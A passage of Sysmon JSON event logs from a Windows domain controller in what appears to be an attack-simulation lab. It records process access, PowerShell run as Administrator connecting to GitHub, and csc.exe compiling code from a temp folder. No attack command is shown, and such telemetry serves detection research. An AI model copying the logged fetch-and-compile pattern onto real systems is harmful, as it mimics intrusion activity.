indows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4142-5F2D-0000-0010A1C30600}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4142-5F2D-0000-0010A1C30600}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4670,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.270\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51440\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 151.101.112.133\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.270","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51440","DestinationIsIpv6":"false","DestinationIp":"151.101.112.133","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4671,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.758\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51441\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 140.82.118.4\r\nDestinationHostname: lb-140-82-118-4-ams.github.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.758","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51441","DestinationIsIpv6":"false","DestinationIp":"140.82.118.4","DestinationHostname":"lb-140-82-118-4-ams.github.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.337\r\nProcessGuid: {90617006-4142-5F2D-0000-001037C70600}\r\nProcessId: 3812\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB0B9.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\CSCF16847B10FA421BBB56EF1E5846FF41.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-4142-5F2D-0000-0010A1C30600}\r\nParentProcessId: 3472\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.337","ProcessGuid":"{90617006-4142-5F2D-0000-001037C70600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB0B9.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\CSCF16847B10FA421BBB56EF1E5846FF41.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-4142-5F2D-0000-0010A1C30600}","ParentProcessId":"3472","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.cmdline\"","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-4142-5F2D-0000-0010A1C30600}\r\nSourceProcessId: 3472\r\nSourceThreadId: 484\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-4142-5F2D-0000-001037C70600}\r\nTargetProcessId: 3812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-4142-5F2D-0000-0010A1C30600}","SourceProcessId":"3472","SourceThreadId":"484","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-4142-5F2D-0000-001037C70600}","TargetProcessId":"3812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4142-5F2D-0000-001037C70600}\r\nTargetProcessId: 3812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4142-5F2D-0000-001037C70600}","TargetProcessId":"3812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 